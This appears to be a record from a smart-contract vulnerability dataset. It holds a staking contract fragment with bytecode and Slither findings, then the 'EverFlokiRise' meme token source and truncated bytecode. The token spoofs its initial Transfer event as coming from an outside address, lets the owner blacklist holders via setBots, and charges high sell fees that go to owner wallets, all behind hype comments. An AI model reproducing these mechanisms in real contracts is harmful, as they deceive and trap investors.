_rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit); timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration); rewardBalance = rewardBalance.sub(timedAmount); if (j == 0) break; } } return rewardBalance; } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063adc3b31b1161010f578063c6e426bd116100a2578063d86e1ef711610071578063d86e1ef714610579578063e2aa2a851461059c578063e4186aa6146105a4578063fab980b7146105ca576101f0565b8063c6e426bd1461050f578063c78b6dea14610535578063cbeb7ef214610552578063d21220a714610571576101f0565b8063b79ea884116100de578063b79ea884146104b6578063b8f6e841146104dc578063b8f79288146104e4578063c45c4f5814610507576101f0565b8063adc3b31b1461044e578063ae169a5014610474578063b5984a3614610491578063b6b55f2514610499576101f0565b806344264d3d1161018757806385535cc51161015657806385535cc5146103a15780638705fcd4146103c75780638f1e9405146103ed578063ab033ea914610428576101f0565b806344264d3d1461033657806344a040f514610357578063501883011461037d578063637830ca14610399576101f0565b806327b5b6a0116101c357806327b5b6a0146102e35780632e1a7d4d146103095780634127535814610326578063430bf08a1461032e576101f0565b80630dfe1681146101f557806311cc66b21461021957806312d43a51146102c15780631c69ad00146102c9575b600080fd5b6101fd610647565b604080516001600160a01b039092168252519081900360200190f35b6102bf6004803603602081101561022f57600080fd5b81019060208101813564010000000081111561024a57600080fd5b82018360208201111561025c57600080fd5b8035906020019184600183028401116401000000008311171561027e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610656945050505050565b005b6101fd6106bf565b6102d16106d3565b60408051918252519081900360200190f35b6102d1600480360360208110156102f957600080fd5b50356001600160a01b031661074f565b6102bf6004803603602081101561031f57600080fd5b5035610761565b6101fd61096d565b6101fd61097c565b61033e61098b565b6040805163ffffffff9092168252519081900360200190f35b6102d16004803603602081101561036d57600080fd5b50356001600160a01b031661099e565b610385610b41565b604080519115158252519081900360200190f35b6102bf610b4a565b6102bf600480360360208110156103b757600080fd5b50356001600160a01b0316610baa565b6102bf600480360360208110156103dd57600080fd5b50356001600160a01b0316610c1e565b61040a6004803603602081101561040357600080fd5b5035610c92565b60408051938452602084019290925282820152519081900360600190f35b6102bf6004803603602081101561043e57600080fd5b50356001600160a01b0316610cc5565b6102d16004803603602081101561046457600080fd5b50356001600160a01b0316610d3f565b6102bf6004803603602081101561048a57600080fd5b5035610d51565b6102d1610db9565b6102bf600480360360208110156104af57600080fd5b5035610dbf565b6102bf600480360360208110156104cc57600080fd5b50356001600160a01b0316610ec2565b6102d1610f36565b6102bf600480360360208110156104fa57600080fd5b503563ffffffff16610f3c565b6102d1610fb4565b6102bf6004803603602081101561052557600080fd5b50356001600160a01b0316610fff565b6102bf6004803603602081101561054b57600080fd5b5035611073565b6102bf6004803603602081101561056857600080fd5b50351515611214565b6101fd611279565b6102bf6004803603602081101561058f57600080fd5b503563ffffffff16611288565b6102d16112e5565b6102d1600480360360208110156105ba57600080fd5b50356001600160a01b03166112eb565b6105d26112fd565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561060c5781810151838201526020016105f4565b50505050905090810190601f1680156106395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6006546001600160a01b031681565b600b5461010090046001600160a01b031633146106a8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106bb906005906020840190611975565b5050565b600b5461010090046001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b505afa158015610732573d6000803e3d6000fd5b505050506040513d602081101561074857600080fd5b5051905090565b60006020819052908152604090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107ac57600080fd5b505afa1580156107c0573d6000803e3d6000fd5b505050506040513d60208110156107d657600080fd5b50511161081f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610869576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108723361138b565b3360009081526002602052604090205481111561089b5750336000908152600260205260409020545b600081116108e3576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6006546108fa906001600160a01b03163383611493565b3360009081526002602052604090205461091490826114e5565b3360009081526002602052604090205560035461093190826114e5565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6008546001600160a01b031681565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610b3a578115610a9257600454600019015b600481815481106109e357fe5b906000526020600020906003020160010154831015610a9057610a7b610a7460048381548110610a0f57fe5b906000526020600020906003020160020154610a6e600260008a6001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b600091825260209091206003909102015490611530565b90611589565b83906115cb565b915080610a8757610a90565b600019016109d6565b505b600454600019015b610acd600a5460048381548110610aad57fe5b9060005260206000209060030201600101546115cb90919063ffffffff16565b421015610b38576000610ae660048381548110610a0f57fe5b9050610b15600a54610a6e610b0e42610b08600a5460048981548110610aad57fe5b906114e5565b8490611530565b9050610b2183826114e5565b925081610b2e5750610b38565b5060001901610a9a565b505b9392505050565b600b5460ff1681565b610b533361138b565b6000610b5e3361099e565b33600090815260016020526040902054909150610b7b90826114e5565b33600081815260016020526040902091909155600754610ba7916001600160a01b039091169083611493565b50565b600b5461010090046001600160a01b03163314610bfc576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b5461010090046001600160a01b03163314610c70576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610ca257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600b5461010090046001600160a01b03163314610d17576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60016020526000908152604090205481565b610d5a3361138b565b6000610d653361099e565b905080821115610d73578091505b33600090815260016020526040902054610d8d90836114e5565b336000818152600160205260409020919091556007546106bb916001600160a01b039091169084611493565b600a5481565b610dc83361138b565b600954600090610df2906103e890610a6e90859063ffffffff600160a01b90910481169061153016565b90506000610e0083836114e5565b90508115610e2757600854600654610e27916001600160a01b039182169133911685611625565b8015610ebd57600954600654610e4c916001600160a01b039182169133911684611625565b33600090815260026020526040902054610e6690826115cb565b33600090815260026020526040902055600354610e8390826115cb565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600b5461010090046001600160a01b03163314610f14576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600b5461010090046001600160a01b03163314610f8e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b600b5461010090046001600160a01b03163314611051576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116110b9576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611110576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600754611128906001600160a01b0316333084611625565b611130611a01565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a15050565b600b5461010090046001600160a01b03163314611266576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600b5461010090046001600160a01b031633146112da576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b600c5481565b60026020526000908152604090205481565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156113835780601f1061135857610100808354040283529160200191611383565b820191906000526020600020905b81548152906001019060200180831161136657829003601f168201915b505050505081565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906113be575060045415155b1561146357600454600019015b600481815481106113d857fe5b9060005260206000209060030201600101548310156114615761144c610a746004838154811061140457fe5b906000526020600020906003020160020154610a6e60026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b91508061145857611461565b600019016113cb565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610ebd908490611685565b600061152783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061183d565b90505b92915050565b60008261153f5750600061152a565b8282028284828161154c57fe5b04146115275760405162461bcd60e51b8152600401808060200182810382526021815260200180611a386021913960400191505060405180910390fd5b600061152783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118d4565b600082820183811015611527576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261167f908590611685565b50505050565b611697826001600160a01b0316611939565b6116e8576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106117265780518252601f199092019160209182019101611707565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611788576040519150601f19603f3d011682016040523d82523d6000602084013e61178d565b606091505b5091509150816117e4576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561167f5780806020019051602081101561180057600080fd5b505161167f5760405162461bcd60e51b815260040180806020018281038252602a815260200180611a59602a913960400191505060405180910390fd5b600081848411156118cc5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611891578181015183820152602001611879565b50505050905090810190601f1680156118be5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836119235760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611891578181015183820152602001611879565b50600083858161192f57fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061196d5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826119ab57600085556119f1565b82601f106119c457805160ff19168380011785556119f1565b828001600101855582156119f1579182015b828111156119f15782518255916020019190600101906119d6565b506119fd929150611a22565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b808211156119fd5760008155600101611a2356fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220e73f50c87f41747254a3abcf8ee6e0e7ca53ebca5aba193ed436370f6d5ce37964736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,639
0xda917ab5cf7fb5670ee0ad0fc0a83f5fa32c6e50
/** *Submitted for verification at BscScan.com on 2021-06-25 */ /** *Submitted for verification */ /** *Submitted for verification at */ // $EverFlokiRise // Telegram: https://t.me/EverFlokiRise // Introducing the only coin on the blockchain that is designed to go up. // 20%+ Slippage // Liquidity will be locked // Ownership will be renounced // EverRise fork, special thanks to them! // Manual buybacks // Fair Launch, no Dev Tokens. 100% LP. // Snipers will be nuked. // SPDX-License-Identifier: Unlicensed // Welcome Baby pragma solidity ^0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract EverFlokiRise is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "EverFlokiRise t.me/everflokirise"; string private constant _symbol = "EverFlokiRise"; uint8 private constant _decimals = 18; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280602081526020017f45766572466c6f6b695269736520742e6d652f65766572666c6f6b6972697365815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f45766572466c6f6b695269736500000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b5050505060405